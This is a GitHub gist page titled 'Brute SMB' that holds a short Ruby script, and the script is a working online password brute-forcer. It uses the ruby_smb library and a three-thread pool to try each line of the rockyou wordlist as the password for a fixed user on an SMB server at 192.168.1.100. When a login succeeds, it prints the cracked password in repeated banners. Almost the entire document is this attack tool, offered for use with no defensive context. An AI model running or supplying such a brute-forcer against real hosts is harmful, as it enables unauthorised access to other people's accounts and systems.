Created
June 28, 2019 21:34
-
-
Save mubix/79064083cc6e89fc773c672fc53ed42e to your computer and use it in GitHub Desktop.
Brute SMB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'ruby_smb' | |
require 'thread' | |
class ThreadPool | |
def initialize(size) | |
@size = size | |
@jobs = Queue.new | |
@pool = Array.new(@size) do |i| | |
Thread.new do | |
Thread.current[:id] = i | |
catch(:exit) do | |
loop do | |
jobs, args = @jobs.pop | |
jobs.call(*args) | |
end | |
end | |
end | |
end | |
end | |
def schedule(*args, &block) | |
@jobs << [block, args] | |
end | |
def clear! | |
@jobs.close | |
end | |
def run! | |
@size.times do | |
schedule { throw :exit } | |
end | |
@pool.map(&:join) | |
end | |
end | |
def brute_thread(pass) | |
address = '192.168.1.100' | |
username = 'targetuser' | |
sock = TCPSocket.new address, 445 | |
#sock = Socket.tcp(address, 445, connect_timeout: 2) {} | |
dispatcher = RubySMB::Dispatcher::Socket.new(sock) | |
client = RubySMB::Client.new(dispatcher, username: username, password: pass) | |
client.negotiate | |
res = client.authenticate | |
if res.name == 'STATUS_SUCCESS' | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
puts "===== PASSWORD #{pass} SUCCESSFUL ======" | |
#@pool.clear! | |
abort | |
end | |
sock.close | |
return res.name | |
end | |
rock = File.open('/usr/share/wordlists/rockyou.txt') | |
@pool = ThreadPool.new(3) | |
rock.each_line do |i| | |
@pool.schedule do | |
pass = i.strip | |
res = brute_thread(pass) | |
puts "Testing password: #{pass}, finished by thread #{Thread.current[:id]}: RESULT: #{res}" | |
end | |
end | |
@pool.run! |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment